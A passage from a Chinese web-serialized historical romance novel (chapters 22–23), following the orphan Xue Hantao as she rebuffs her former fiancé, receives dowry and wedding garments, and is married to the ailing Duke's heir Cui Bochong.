“世子喜欢小桃,我为小桃感到高兴。小桃若是能留在世子的身边做一个侍妾,是她的福分。” 侍妾,福分,这就是宋熹以为的。 “是这样。”崔伯翀看向身边的女子,目光玩味,“本来我还想问他上一次来这里说了什么做了什么,现在看来不必了。” 薛含桃默不作声,不知自己是该伤心宋熹这么快撇清他们的关系,还是该庆幸不必再被世子误会。 最终,她只是又一次承认了她不被人喜欢的现实。 “我说过,你不要再来这里了,既然我们从前的婚约也是假的,那你就更不应该来找我。” 她慢慢地说着,语气很认真,“宋熹,我不会再唤你兄长,你走吧,离开这里,离开京城。” 作为牵连了她的罪魁祸首,堂姐也不会放过他。如果说薛含桃之前还想着劝说堂姐,可现在她觉得自己确实愚蠢,原来从始至终,她都没有认清他。 所以她的劝说也只剩下了一句话,离开京城。 宋熹不明所以,扬着一个温润的笑脸还想再问,结果,他眼睁睁地看着崔世子搂住了小桃的肩膀。 “你弄错了,成为一个侍妾不是她的福分。能够娶她为妻,是我的荣幸。” 崔伯翀心想,她怎么能这么可怜呢,可怜到让人不忍心再欺负。 “再过几日,就是我们成婚的吉日。” 到时候,他再来欺负这颗桃子好了,把皮剥开,然后肆意地品尝香甜的果肉。【魔蝎小说 mo xie xs .c om】 22-30 第22章 第二十二章他把她嵌进怀里。(三更合…… 恍惚间,宋熹以为自己听错了,怎么可能,小桃一个无父无母的孤女,给世子做个通房妾室他勉强还能相信。 嫁给世子为妻,这简直是天方夜谭! 可是,崔世子又笑着说几日后他们就会成婚,而娶小桃为妻是他的荣幸……宋熹难以置信地看向以前一直被他忽视的小姑娘。 她和从前变化不大,很瘦,不爱说话,只一双眼睛会在开心的时候变得亮晶晶,见到他总会乖巧地唤他一声兄长。 很普通,就像路边的小草随处可见。 每当提到她,他的父母兄嫂们都会嘟囔一句亏了,当初怎么就瞎了眼同意他们的婚事,还说她长的福薄一看就是就是刑克六亲的命,时常念叨着去退婚。 宋熹自己也不愿意娶她,因为他想要一个能给他助力的妻子,而小桃除了读书识字什么都没有,她的相貌甚至也平平。 不过宋熹知道自己受了小桃父亲的恩惠,贸然去退婚可能会引起争议,对他的名声不好,所以便一直拖着。 后来刘县令的女儿看上他,他心里很是松了口气,顺水推舟“被迫”退了与小桃的婚事。 现在,崔世子亲口告诉他,小桃要嫁进定国公府做世子夫人了? “小桃,这是……真的吗?”他的眼中带着浓浓的怀疑,始终不能说服自己一棵被他随手丢开的野草即将要被别人当作宝贝捧在手心。 这个别人,偏偏还是刘县令和吏部侍郎都只能遥遥仰望的崔世子! “是啊,我要和世子成婚,做世子的夫人。”薛含桃握着手心,目光似有若无地往身旁飘去,没有在他的脸上发现嫌弃,暗暗吁气。 虽然是世子先开口承认的,但她仍旧掩不住心虚。 得到她确切地回 答,宋熹顿时如遭雷劈,他清楚她平时有多么老实,基本不会说谎骗人。 但这怎么可能呢? 惊疑之间,他把这句话问了出来。 “我想,我们之间的事情,不需要向你解释,哦,你现在是国子监的监生。”崔伯翀眯着狭长的黑眸扫过他身上明显的监生服饰,“姓刘的犯了重罪,宋监生,你确定还要在这里待着吗?” 一句轻飘飘的质问骇得宋熹面皮僵硬,是,他出现在这里就是为了来探小桃的门路。 刘县令若是获罪,那他的监生身份就有可能保不住,邱郎君承诺会为他和祭酒说情,但宋熹仍无法放心。 小桃与崔世子有关系,如果能得崔世子的帮助……然而,宋熹发现自己弄巧成拙了,一时僵住。 “多一刻钟,也许你也要去牢中与姓刘的作伴。”崔伯翀的眼神冷冽,搂着少女的力道更重了一些,今日到现在,他的心头越来越不爽。 不爽到要撕碎什么东西才好。 “……学生告退。”宋熹听出了他话中的威胁,行了一礼后,狼狈离去。 不过,匆忙之间,他倒是将一物收至眼底。 那是一支镶嵌着宝石的金钗,插在少女的发间,似一只展翅欲飞的鸾鸟—— “从前他不是这样的,对我很好,我唤他兄长,他会给我送吃的,有肉还有白米糕,就连抄书的活计,一开始也是他帮我寻来的。” 薛含桃松开手心,所以,她一直只想和他老死不相往来,而不是报复回去。 “嗯,把你送上绝路的人也有一个是他,若不是我搭救,你和那条老狗现在都骨头都捞不着。”崔伯翀点头,语气平淡,“现在又要把你卖身给我当妾,对你还好吗?” 薛含桃被他一句话说的羞愧难忍,恹恹地耷拉着脑袋,“不好,一点都不好。” “世子对我很好。”她悄悄抬头,想起方才世子说娶她为妻是他的荣幸,差一点又哭出来。 “既然清楚谁对你才是真正的好,那现在就到你该回报的时候了。”崔伯翀淡淡瞥了她一眼,语气骤然变得刻薄起来,“我饿了,你还要在这里呆站着?” 他不仅饿,而且很热,体内躁动不止,骨头里冲撞着能够摧毁一切的戾气。 “我,我……世子快请进。”薛含桃这才发现原来时间已经过了这么久了,日头升到最中央,世子不仅陪她走了很远的路,还站在门外这么长时间。 她真是罪该万死,居然对世子如此怠慢! 院门急匆匆地被她打开,露出门后果儿姐姐一张讪笑的脸。 显然,方才果儿就在门后,偷偷听到也看到了一切。 “娘子,您回来了,刚才院前来了个人,我看不认识就没让进来。世子!果儿见过世子,天呐,竟敢劳烦世子亲自送我家娘子归来。” 果儿拙劣的表演让人不堪入目,薛含桃羞得满脸通红,结结巴巴地嗯了一声,问家中还有什么吃食。 “还有娘子在满香楼买的蒸鸭,娘子交代将烤鸡每家送出去一只,最后一只被我和阿凶吃掉了。” 大黑狗也呜了一声,表示烤鸡的味道不错,下次多买点。 “一只蒸鸭,热一热,”薛含桃说到一半瞄见男人脸上的不悦,急智上头,从荷包里面掏出了银子递给果儿,“世子不喜欢吃蒸鸭,世子喜欢吃鱼,果儿姐姐,你去满香楼买鱼,肉卷,汤饼,还有一份冰山酥酪回来。” 满香楼的冰山酥酪,用冰、牛乳和鲜果制成,十分昂贵,一份就是二两银子。 可以说,薛含桃要辛辛苦苦两天抄一本书才能将将买到一份。 果儿从来没见过她如此大方,震惊不已,银霜糕和冰山酥酪比起来都是小巫见大巫。 不过她接过银子时,刚好撞见崔世子看向娘子的眼神,于是识趣地一个字也没说,脚底开溜出了门。 大方好啊,毕竟对象是崔世子,娘子未来的夫君- 果儿走了,简陋的小院又只剩下他们两人。 崔伯翀还记得她的话,挑眉随口一问,“不是要给种子浇水,愣着做什么?” 薛含桃如梦初醒,望了一眼自己的屋子,跑到厨房去灌了一瓢水,出来后心虚地不敢看他。 “房中有方椅,我搬出来给世子坐。”她忙的像只勤劳的小蜜蜂,进去房间搬了椅子,擦拭干净,放在唯一有树荫的地方。 也在铺着草席让那只大黑狗躺着的位置旁边。 崔伯翀缓缓走过去,用冷漠的眼神吓得大黑狗咬着草席跑开,一人独享安静与清凉。 此时,他看着她挑着半瓢的清水浇在几棵绿苗上,体内的躁动竟有了片刻的停歇。 “那是什么?”他开口又问,语气随着清风变得慵懒。 “啊,这个是菘菜,那是颇棱,最小的一株是嫩韭,它们只要多浇水,就能长出许多,够我吃了。”少女挨个浇完水,小心翼翼地补充说她吃的不多,一点都不挑剔。 “养我花不了多少银子,我还可以抄书,买肉给阿凶吃足够,阿凶吃的也不多。” “所以?”崔伯翀目光凉凉地反问。 “所以,我可不可以带着阿凶一起嫁过去,我的嫁妆也不多。”在他的注视下,少女的声音越来越小,她没有十里红妆,嫁妆估计是都城中最寒酸的。 “阿姐帮了我很多了,我不想要她再为我置办嫁妆,宫里也不容易,她还要养小皇子。” 少女的朴实令人发笑,崔伯翀也的确笑了出来,笑声如同悦耳的琴曲,温柔地问她能置办多少嫁妆。 “大概,也就够买十份酥酪……阿姐赏给我的绢帛我都放着,剩下九匹。”薛含桃认真地数着她拥有的东西,其实很满足了,莫说她生活了十几年的村子,就算在丰县,这么多嫁妆也足够一个女子风风光光地出嫁。 然而一想她如今在都城,立马泄气,拿不出手,一点都拿不出手。 “不行,本世子还不想成为全京城的笑柄。”崔伯翀无情地拒绝了她,不仅如此,很快他又问了她一个足以致命的问题,“已经过去了半月,嫁衣,你准备了吗?” “……没有,我只有一块红布。”薛含桃老实地摇摇头,她一开始以为这桩婚事不会成的。 她浇水的时候脸上蹭了一道灰,黑白分明干净清澈的眼睛看过来,崔伯翀想到了,想到了什么呢? 浇灭了烦恼与凶戾的灵泉。 “嫁衣都不准备,说你这颗桃子不老实,确实没错。”男人仰头看了看蓝天白云,朝她招手让她走近。 树荫下,他周身笼罩着一股淡淡的宁静,和前不久的烦躁刻薄截然不同。 薛含桃察觉他没有生气,也放心了些,搁下水瓢,听话地走到他面前。 “世子,你要我做什么……” 不等她将话说完,他漫不经心地伸开手臂,将她整个人抱进怀里。 优美流畅的下颌抵在她的发间,一缕凛冽的寒梅香气混杂着她身上的阳光将两人笼罩在内。 薛含桃已经说不出话了,牵手,亲吻,现在又是拥抱,所有存在于她幻想中的亲昵全部是他给的,没有一种例外。 而这远远不是结束,拥抱间,她仿佛被嵌入了他的身体里面,他的手臂用着不轻不重的力道从她纤细的脖颈往下,后背的蝴蝶骨被他完完全全掌握在手心,到腰肢,再到……她脸红的过分,可又不敢挣扎,只能欲盖弥彰地闭上眼睛。 仿佛这样,她就感觉不到了,也就可以欺骗自己什么都没有发生。 然而随着她闭上眼睛,嗅觉和听觉变得异常灵敏,寒梅的气息,灼热的呼吸,还有,还有不知道谁的心跳声以及……脚步声。 果儿姐姐回来了。 薛含桃的脑海中闪过这样一个念头,院门吱呀一声被打开,她愣愣地睁开眼,发现在树荫下的世子已经步履从容地步入了屋内。 “娘子,您交代我买的吃食都在这里,我自己还买了一份汤饼,就不和娘子一起吃了。”果儿端着一碗汤饼,逃一般地跑到了自己的房间,接着关上了房门。 留下薛含桃一个人,发了一会儿呆,提着个硕大的食盒进门。 “是清蒸鲋鱼,这个时节的鲋鱼很鲜美。”她将果儿买来的吃食一一拿出,把最昂贵的鲋鱼和冰山酥酪都放在男人的面前,讨好一笑,“我先给世子把鱼刺挑出来。” 鲋鱼刺少,但不是完全没有,薛含桃就仔仔细细地用筷子将所有鱼刺都挑出来,末了又摆放整齐。 雪白的鱼肉被放在自己手边,里面没有一根刺。 崔伯翀眼皮微掀,视线又停留在另一份冰山酥酪上,他尝了一口,冰凉丝滑的味道滑过他的喉咙,及时浇灭了上一刻生出的燥热。 他把一整份冰山酥酪全部吃完了,手边的鲋鱼肉也没有放过。 薛含桃照样吃她的汤饼,至于那份肉卷则混着汤饼喂给了阿凶。 崔伯翀冷眼望着那条老狗一边吃一边摇动尾巴,满满的一个大陶碗的饭菜被它吃的干干净净,他似笑非笑,“这叫吃的不多?” 面对他的质问,薛含桃支支吾吾地说不出个所以然来。 “我,我以后可以少吃一些。”她反应惴惴,害怕阿凶被讨厌。 结果,一块玉佩被放在了她的面前。 柔润的白色,让薛含桃想起了甜甜的米糕。 “世子,这是什么?”她舔了舔唇瓣,好奇地询问,她知道这玉佩定然很名贵,所以为何要给她。 “拿着它,到城东的玉祥阁,那里存放着我母亲留下的嫁妆。”崔伯翀边说边一脸玩味地打量她,“说你脑子不灵光是错怪你了,多灵巧的心思,拿一份酥酪就要从我这里换一份体面的嫁妆,曹九娘远远不如你。” 所以,这是世子给她的体面?让她撑场面用的。薛含桃犹犹豫豫不敢去接,世子对她太好了,她实在没脸。 “没关系,都是要还的。”崔伯翀慢条斯理地擦拭手指,目光在她的桃子肉上停留了片刻。 对啊,她把嫁妆带进府里,成婚之后可以直接还给世子,神不知鬼不觉。 “嗯,成婚之后,我就把玉佩和嫁妆都还给世子。”薛含桃恍然大悟,把玉佩握在手心,重重点头,“我一定不给世子丢脸!” 崔世子意味不明地嗯了一声。 薛含桃如释重负地笑了起来,心里想着只剩下嫁衣的话,她可以到铺子里去买。 不过,嫁妆都要世子操心,她就更应该识相一些。 “世子,其实两个人成婚可以和离的,如果日后世子遇到了合心意的女子,您只要开口,我也一定会守好本分,在和离书上签字画押。到时候,错处也可以都推到我的身上。” 薛含桃忐忑的话音落下,抬头对上了一张冷脸,不过也只是短短的一瞬,他的神色恢复了平静。 “日后?等着吧。”他站起身,眉眼又流露出几分厌倦。 像是累了。 薛含桃不知该说些什么,就看到他又回到了树荫下面,慢慢地阖上了眼睛。 怕他觉得热,她在屋中找到了一把团扇,轻轻地坐在他身边,给他扇风。 自以为是的讨好,然而这一次她被无情地忽视了。 他感受到她的动作,睁开纯黑的眼瞳,看都未看她一眼,径直从院门走出去了。 高大的身影冷淡而疏离。 薛含桃的双手停在了半空,尴尬地抿了抿唇,过一会儿,她沮丧地垂头看向趴过来的大黑狗,“我一定又是哪里惹世子生气了,阿凶,我好笨啊。” 不会讨好,也不会说话,将人给气走了。 到底是什么地方惹了人生气,她想了许久都没想明白。 “我没准备嫁妆和嫁衣,还是天气太热,只给世子买了一份酥酪呢?” “天气太热?娘子,现在的天气很凉爽啊,夜里我不盖被子都觉得冷了。” 果儿终于从房间里露面,听到她喃喃地念叨天气太热,十分不能理解。就要九月了,怎么会热? 薛含桃没有和她解释世子畏热,只说让她陪着自己去城中的铺子里面买一件嫁衣,成婚的时候用。 “嫁衣哪里需要买,娘子放心好了,贵妃娘娘会让尚服局的人为您预备的。您和世子是陛下赐婚,到时宫中还会给您预备头冠。” 果儿说的头头是道,说到最后忽然才意识到自己忘记问了娘子一个问题,“娘子嫁过去,我是不是也要同娘子到定国公府?” 果儿的态度期期艾艾,薛含桃早就想过这个问题,老老实实告诉她,“果儿姐姐是宫里出来的人,又不是卖身给了我,自然是想去哪里就去哪里。” 自由是可贵的东西,所以当初即便她走到了绝路又欠着世子的恩情,也没有听方大哥的话留下来做一个侍女。 “那我还是跟着娘子去国公府吧,宫里虽好但麻烦也多。到时候我就是世子夫人身边的管事姑姑,听起来就威风。”果儿叉着腰,对未来充满了期待。 “……那可能只有一段时间…” “娘子您说什么?” “没有,我是说阿姐身边的胡姑姑确实很威风。” “胡姑姑啊,娘子说不得马上就要见到她了。”—— 正如果儿所说,没过两日,胡姑姑就被薛贵妃派了过来,跟她一起的人还有德昌帝身边的内侍,何焕。 他们送来了宫里为薛含桃准备的嫁妆以及嫁衣头冠。 样样价值不菲。 胡茵儿原本以为自己为贵妃带来了这些东西,会看到小姑娘感激涕零的表情,却没想到,再一次,她拒绝了。 “阿姐不是我的父母,我不能太过于贪心,胡姑姑,麻烦您和阿姐说嫁妆我不能收。”薛含桃很不好意思,指着那顶头冠,脸颊浮上一层粉红,“我可以要阿姐的添妆,这个就足够了。” “这……”胡茵儿意外地不知如何回答,看向身边的何内侍。 何焕此时还在观察薛含桃住着的小院,内心的惊讶可谓是铺天盖地,真是想不到,薛贵妃的妹妹,未来天子的姨母,崔世子的未婚妻就住这样的房子? 两间大屋,一间厨房,一目了然的院子,简陋的摆设,就这? 有宫人说这位薛娘子十分淳朴,当时他还不以为意,权势富贵侵蚀之下还有哪个人可以保持初心,现在来看居然是真的! “薛娘子,您是贵妃娘娘的妹妹,陛下也说不能怠慢了您,几件东西而已,如何就能说贪心了。”何焕接收到胡茵儿的视线,笑着解释了这也是德昌帝的意思。 “是啊,贵妃娘娘知道您之前受的委屈,同陛下说过,若不是于礼不合,陛下还想封给您一个乡君的名号。”胡茵儿暗示薛贵妃已经向德昌帝哭诉过,薛含桃若是不接岂不是不识好歹。 薛含桃听懂了,脸颊的红色反而变淡,嘴唇也发白,“阿姐对我很好,那,就这一箱东西留下来,再多,我会寝食难安,做梦都不踏实。” 女子为了帮衬娘家的妹妹,朝夫家哭诉,总是委屈的。 她拿什么来偿还阿姐。 薛含桃隐晦地表达了这个意思,听得人纷纷一愣。见多识广的何内侍也没了声音,贵妃娘娘委屈,她怎么会委屈呢?不过这样的话传到娘娘和陛下耳中,说不得会有意外的结果,就是他猛然一听,也不免对眼前的小姑娘生出好感。 “薛娘子的话我等会向陛下和贵妃娘娘转达,还有一事,之前戕害薛娘子的罪人经由刑部审过,如今已有了结果。”何焕告诉薛含桃刘县令因为牵扯进一桩大案罪大恶极被判择日斩首,“太、祖皇帝打得天下时交代不得斩杀文人,贵妃娘娘实在气愤,陛下就特批了这个例子。” “斩首,”薛含桃想到了被洪水冲垮的堤坝还有许 多死在水中的面孔,点头,“他该死!” 怎么不该死?害死了那么多人,就因为是个读书人便可以免罪,没得这样的道理。 “大人,那刘县令的儿女?”她想知道自己状告刘小姐的最后结果。 “罪人刘氏之子女数罪并罚,判绞首,比起他们的父亲还算得了一个全尸。” “也死了,”薛含桃喃喃低语,“诬陷加上掳卖按照律法怎么判呢?” 何焕听到了她的话,扬了扬眉毛,“罪不至死,大概是刺配充军。但那罪人刘氏的子女可不只害过薛娘子一个人,罪上加罪,死得其所。” 闻言,薛含桃深深地吐了一口气,表示自己明白了。 “话到这里,那我等就回宫了。至于之后的各种礼节,宫里还会来人指点,薛娘子照着做就是。” 薛含桃赶紧向他们道谢,出院门时,胡姑姑往她的手中放了一个锦囊,“这是贵妃娘娘交代奴婢给薛娘子的,薛娘子千万不要忘记娘娘永远是您的依靠。比起那定国公府的崔世子,要奴婢说还是姐妹亲情更加真实。” 她脸上的表情意味深长,薛含桃愣了一下,打开锦囊发现里面是一张地契和一张房契,地址刚好是她居住的这处小院。 阿姐把这里买下来送给她了。 薛含桃垂头,自己的荷包里面有一块玉佩,已经放了两天。 “另外,薛娘子,关于您父亲的那位学生,娘娘也使奴婢告诉您。他将一辈子再无法获得功名,因为失去监生的身份,名声扫地,已经被人赶出京城了。” “嗯,帮我谢谢阿姐。”闻言,薛含桃沉默了片刻,她知道这是对宋熹最狠的处罚。 也同样知道,阿姐需要她的回报。 她得保护小皇子- “娘子,您快过来试试这件嫁衣,我就说宫里一定会备着的。”等这些人走了以后,果儿的兴致变得高昂起来,撺掇着薛含桃试一试做好的嫁衣。 她走过去看,出乎意料,嫁衣竟不是她以为的鲜红色,而是端正的深绿色。 上面绣着珍珠和宝石,很漂亮,很华丽,薛含桃压根不敢伸手去摸,怕自己的手指太粗,给弄坏了。 果儿叫她换上,她先洗了几遍手才应下。 铜镜里面,再一次映照出了一个陌生的薛含桃,穿着精美的嫁衣,直叫人恍惚。 “咦,还是太着急了一些,尺码有些大了。娘子您怕是得多吃一点,才能撑起这件衣服。”果儿看了她试衣的结果有些失望,抱怨尚服局的人做衣服居然也没个准头。 不合适,这才正常啊。 薛含桃倒是安心,笑了笑说她多吃些肉,一定努力把这件衣服撑起来。 然而她没想到,隔天下午,方大哥也送来了一件嫁衣。仍旧是绿色,仍旧很美丽,是世子交代人做的。 “小桃,真没想到你会以这样的身份再到世子的身边。”方振见到她,感慨万千,当初他只想小桃能留下来做一个侍女。 只要能活命便好了,活着啊。 方振的眼神这一瞬颇为复杂,有些事情只有极少的几个人知晓,他就是其中之一。 恐怕宫里的薛贵妃,小桃的堂姐也不如他知道的多。他贴身服侍世子多年,见过世子最意气风发的少年,见过他成为万人敬仰的英雄,也见过……他的一颗赤子之心被碾落成泥。 曾经护卫河山的崔世子,在声誉美名达到最顶峰的时刻,被内背叛,被外攻击,共同造就了他永远医治不好的伤口。 世子没有多少时间了,看这场婚事的仓促就可以知晓。 儋州的孙医圣言世子可能只剩下一年,一年后,世子仅二十有四。 “方大哥,我也没想到。”薛含桃挠了挠头,冲着他腼腆一笑,“当初是世子和方大哥救了我和阿凶,我一直都记在心中。” “好,记着就好,”方振收起了心酸,看着小姑娘脸上灿烂的笑容慢慢开口,“记着才能少些怨恨。小桃,方大哥希望你不要怪罪世子。” “怪罪?”闻言,薛含桃吃了一大惊,猛地摇晃身体,“不,不会的,世子对我那么好,还对我有救命之恩,我永远,永远都不会怪罪他!” 她语气和表情都异常郑重,害怕方振不相信,咬咬牙举起手指发誓,“我愧对世子,若还怪罪他,就叫我……” 叫她万事惨淡,不得如意! 方振眼疾手快地拉住了她发誓的手指,装作轻松的模样,让她不必如此,“我不过随便说说,好了,世子给你的那块玉佩呢?我们去把先夫人的嫁妆拉过来。” “阿姐给了我嫁妆。”薛含桃抿抿唇,觉得足够了,不必要再动世子母亲的嫁妆来撑场面。 她正想把玉佩还给世子。 “不够。”方振淡淡地道,世子娶妻,即便仓促,也不容有任何瑕疵。 宫中的一两箱东西,差的远了。 “好,好吧。”薛含桃最大的优点就是听话,她没有再坚持,将玉佩交给了方振。 然后,便是又一次的试嫁衣环节。 薛含桃其实不觉得世子送来的嫁衣合身,因为可以准备的时间还不如宫中充沛。然而出乎她的意料,这件嫁衣简直就像是贴合她的躯体制成,每一处都刚刚好,她突然就想到了那只纯金的面具,也是想象不到的合适。 “世子一定是会仙法吧。”她怔怔地望着镜子里面的人,摸上了自己的脸颊。 看上去,好像不像是杂草,而是一朵小花了。 花瓣虽然很小,颜色也不鲜艳,但随风摇曳,有一种飘逸的美感。 她弯着眼睛笑的很开心- 方振用了一天的时间将嫁妆拉了回来,来来往往的人自然吸引了许多人的注意力。 得知她马上就要嫁给她们曾经见过那位俊美郎君,封大娘子等人表示了理解,纷纷热情地送上了自己的一份礼物。 “果然是人逢喜事精神爽,薛妹妹看起来比以前要漂亮。”封大娘子夸赞。 “是啊,肤色也白了些,叫我说长长能更白,薛妹妹本就是个美人胚子。”廖娘子也附和。 尽管面对她仍有些不自在,然而笑脸相对总是不会错的,少了郑婆子那个挑事的,没人给自己找麻烦。 薛含桃只是害羞地笑,装着就像真正的新娘一般,没有人知道她只会是一个不般配的摆设。 除了一条狗。 夜深人静的时候,她终于找到机会,坐在草席上抱着自己的大黑狗,给他梳毛,述说自己心中的惶恐。 “阿凶,嫁妆和嫁衣都准备好了,可我还是没准备好,接下来我会过什么样的生活呀,我不知道。” 她把自己的那块红布找了出来,歪歪扭扭地缝了一朵大红花,系在阿凶的身上,面相有些凶的老狗一下变得滑稽起来。 阿凶拱了拱她的腿,朝着一个方向嗷呜叫了一声。 顺着它的叫声,薛含桃看到了窗台上一点绿色的嫩芽。 陶罐里面,她小心呵护的种子,终于发芽了。 她屏着呼吸,不敢发出一丝声音来,怕打扰到了这一点小小的嫩芽。 陶罐里面的种子是希望,方大哥说是希望- 洪水过后,满目苍夷,灾民勉强都得到了安置。 薛含桃知晓她自己也不该继续赖在世子身边了,她开始编织一只背篓,因为要用背篓把受伤的阿凶背在身上。 薛含桃准备去京城,带着阿凶投靠自己早年嫁到京城的堂姐。她是女子,又没有别的亲人在,若是不去投靠堂姐而是跟着其他灾民,她担忧自己会被卖掉。 还有阿凶,可能也活不下来。 不好意思向方大哥提出来,薛含桃偷偷地跑出了世子处理事情的住所,在荒芜泥泞的大地上寻找可以编织成背篓的藤条。 薛含桃找了很久,勉勉强强找到了几根能用的,她小心翼翼地抱着,唯恐遗失掉一根。 在回来的路上,她遇见了世子和方大哥,第一反应,她躲了起来。 薛含桃知道这算是偷懒,如果被看到了,世子肯定会觉得她不是个好姑娘,让她留在身边报恩居然都要跑出去。 隔着青黄色 的藤条,瘦小的她并不显眼。 薛含桃睁着一双大的出奇的眼睛,看到方大哥拿出了小心保护着的一个锦盒,而世子恍若神明的脸上是冰冷的疲倦与厌弃。 她听到方大哥饱含感情的声音,“郎君,孙大夫将这粒种子给了我们,就代表着还有希望。我们就试一试吧,也许它能开花能治好世子。” “一两年的时间,一粒枯死的种子,我懒得试了。” 薛含桃看到世子说完了这句话,直接打开锦盒,扬手将里面的东西丢了出去,他明明在笑,可眼神却是那么的冷淡,陌生。 “我不需要希望。” 冷漠的世子和长吁短叹的方大哥一起走了,藤条后,一个瘦巴巴的她慢慢地靠近。 她寻找藤条已经很累了,但薛含桃没有放弃,一寸一寸,老老实实地探索那粒被丢掉的种子。 种子是方大哥口中的希望,世子大概是病了,需要种子开花来医治。 一两年的时间,大概是说这粒种子要花费这么久才可以发芽开花吧。 薛含桃要报恩,所以她要种活这粒种子,也许它根本没有枯死呢。 终于,满头大汗,手和脸都变得脏兮兮的时候,她在泥土中找到了它,很小,棕黑色,像一颗干瘪的豆子。 薛含桃将它带回去,和泥土一起装进了陶罐里面,而陶罐和阿凶一起被她背在了背篓里面。 他们出发了,朝着京城而去。 方大哥好心,让她坐在马车的角落里面,薛含桃明白没有世子的许可方大哥不会这么做。 世子喜洁,不太喜欢有毛发的动物。而薛含桃的背篓里面有一条断了腿的老狗,掉毛很严重。 所以也是世子好心仁慈。 于是她每日都给种子浇水,期待着它早早发芽。 安顿下来后,她又给陶罐施肥,动物的骨头磨成细粉,烧过一遍,撒在上面。 现在,它发芽了。 就在薛含桃嫁给崔世子的前一天。 第23章 第二十三章他的洞房花烛夜。…… 自己成婚时是什么模样呢?薛含桃以前没有想过。 尽管身上有父亲临终前定下的婚约,但她知道自己最后不会嫁给宋熹。 宋家人不喜欢她,每每见到她都会拉着一张脸,背后说她晦气。 所以薛含桃觉得婚事不会成,只是她没想到会以推她入深渊的方式结束。 不过,她见过很多次别人成婚的场景。出嫁的女子都是穿着一身鲜艳的嫁衣,脸上涂着胭脂,她们先是对着自己的父母哭地很伤心,而后又看着朝她们走近的男子笑地很明媚。 薛含桃的父母都已经去世了,唯一的亲人堂姐因为坐月子兼照顾小皇子不可能出宫,她无人可哭,就偷偷地抱着阿凶落了两滴泪。 哭过之后,一切变得顺利起来。 宫里派出的嬷嬷为她梳妆,在她的额头画上花钿,两颊抹上胭脂又点上细密的小珍珠,看了几遍后十分讶异地夸赞她底子突出,再过两年会是个十足十的美人。 “娘子毕竟是贵妃娘娘的妹妹,不会差。”嬷嬷看了又看。 薛含桃只当嬷嬷因为堂姐的身份说好话哄她,含蓄地笑笑,她有自知之明,上了妆后当然不算丑,可是也还是不算……好看。 她笑,镜子里面的女子也在笑,花冠戴在头上,显得她的脸越发地小了。 “我知道的。”她点头,看到镜子里的果儿姐姐,胡姑姑,还有热情过来帮忙的封大嫂廖娘子等人。 薛含桃两眼弯弯,比她见过的任何一个出嫁的女子都笑地明媚。虽然心里清楚嫁过去只会是一个摆设,也对世子含着无限的愧疚,但她在这一刻就是很开心很开心啊。 可能是受到她的感染,其他人也跟着笑起来,脸上喜气洋洋。 果儿尤甚,摆弄着大黑狗身上的红花团,兴奋地合不拢嘴。 “娘子,等会儿世子来接亲,您先坐上鸾车,我和阿凶跟在后面。” 阿凶可能也清楚今天对它的主人来说是个特别的日子,所以来往的生人这么多,它都没叫一声,安安静静地趴在草席上,任由果儿在它身上系上一团丑陋的大红花。 薛含桃看向始终陪伴在自己身边的大黑狗,像是得到了鼓励,“果儿姐姐,我会和世子待在一起,你一定要看好阿凶,不要让它被欺负。还有我屋中的那个陶罐,不要离手。” 果儿当即拍着胸脯应声,有她在谁敢欺负阿凶,至于一个陶罐,小心拿着就是。 然而她的话音才落下不久,院外薛贵妃派来的宫人就过来禀报,定国公府接亲的鸾车和队伍已经停在了门外,只是……身为主人公的崔世子没有来。 这一点刚好在胡茵儿的意料之中,她脸上的笑容化作了理所应当的怜悯。 崔世子何等尊贵的人物,既是崔氏嫡长,又立下不世功绩,他将来的夫人不说是世家贵女,最次也得是书香门第出身。 薛娘子虽是贵妃娘娘的妹妹,但样样不出色,相貌也普通,能嫁给崔世子完全是陛下赐婚的缘故。 崔世子不能抗旨不从,于是承认了这桩婚事。但从之前流传出来世子身边有一心爱小侍的言论来看,崔世子大概是不满意薛娘子的,今日不来接亲正在情理之中。 正如她和贵妃娘娘猜想,前些时候崔世子到府衙为薛娘子撑腰也仅仅因为薛娘子是他名义上的未婚妻。 荣辱一体而已,崔世子丢不得那个脸。 “娘子莫要伤心,世子不来接亲也没什么,您有贵妃娘娘这个姐姐和小皇子作外甥,没人敢小瞧您。”胡茵儿立刻出声安慰,将贵妃和皇子一起搬了出来,这也是在提醒薛含桃她真正的依仗,将来她又该为谁做事。 房中的笑声慢慢地消失,每个人的脸上挂上了和胡茵儿一模一样的怜悯与理所应当。 封大娘子这等边缘人也未曾觉得奇怪,她突然知道薛含桃和崔世子的身份,心里第一反应便是不相配。 那可是崔世子啊,当年汴州保卫战之后,不少人在家中为他立长生牌位。 封大娘子的亲娘也立了一个呢。 薛含桃的目光扫过她们脸上一模一样的表情,顶着沉重的花冠小小地摇了下头,又说了一遍,“我知道的。” 我知道自己因何才能嫁给世子,我知道自己配不上世子的万分之一,所以不用安慰她,同情她,她不会因为世子不来接亲就伤心。 她会老老实实地守好规矩,认清自己的位置。 不用一而再地提醒她,野草不配待在魏紫的身边- 接薛含桃到定国公府的鸾车是她熟悉的那辆,唯一的不同大概是两匹黑马的身上也系着一朵大红花。 比阿凶身上的精致,每个花褶都一般无二恰到好处。 驾车的人薛含桃也认识,是罗承武。 他穿一身劲装,先是向她行礼,之后才为这个昔日徘徊在定国公府门前偷看的小姑娘放下脚凳,“请夫人上车,世子在国公府等您。” 罗承武有心想解释世子并非是嫌弃她不愿来接亲,和上一次带她到庄园赴宴的原因相同,世子对她的态度不冷不热,距离不远不近,更符合大多数人的利益需求……但罗承武的身份容不得他僭越,所以他不会解释,只是恭敬地驾车。 太阳快要落山了,晚霞当空,薛含桃坐在马车里面,听着外头的喧闹声,心里其实很平静。 她更不紧张。 世子虽然有时很挑剔,脾气也古怪,但他为人善良,仁慈,心中怀着天下和百姓,她老实做一个摆设的日子应该不会难过。 吃穿不愁,剩下的只要她不闯祸惹事,世子就不会管她。 她大概能 分得不大不小的一间屋子,果儿姐姐陪着她,她还可以抄书赚银子,给阿凶买吃的,偶尔再去满香楼买来冰山酥酪讨世子开心减轻些愧疚,这样想一想,和从前住在赁来的小院没有区别,只是身上冠着个世子夫人的名头罢了…… 马车抵达定国公府,薛含桃深吸一口气踩着脚凳出来。 这一次,她看到了等候在那里的崔伯翀。一身深绛色的宽袖长袍,玄色滚边,玉质革带,鞋头翘起的庄重步履,比神明更加耀眼的男子目不转睛地朝她看来伸出一只手时,薛含桃忘记了呼吸。 他的脸上一丝笑意都无,冷冰冰仿佛一个玉人,可是伸过来的那只手是有温度的,很暖很热。 薛含桃握住他的手掌,一步一步地往里面走,眉眼微微往下。 她有自己的小心思,花冠足够大,她低下头的时候,别人很难看清她的整张脸。 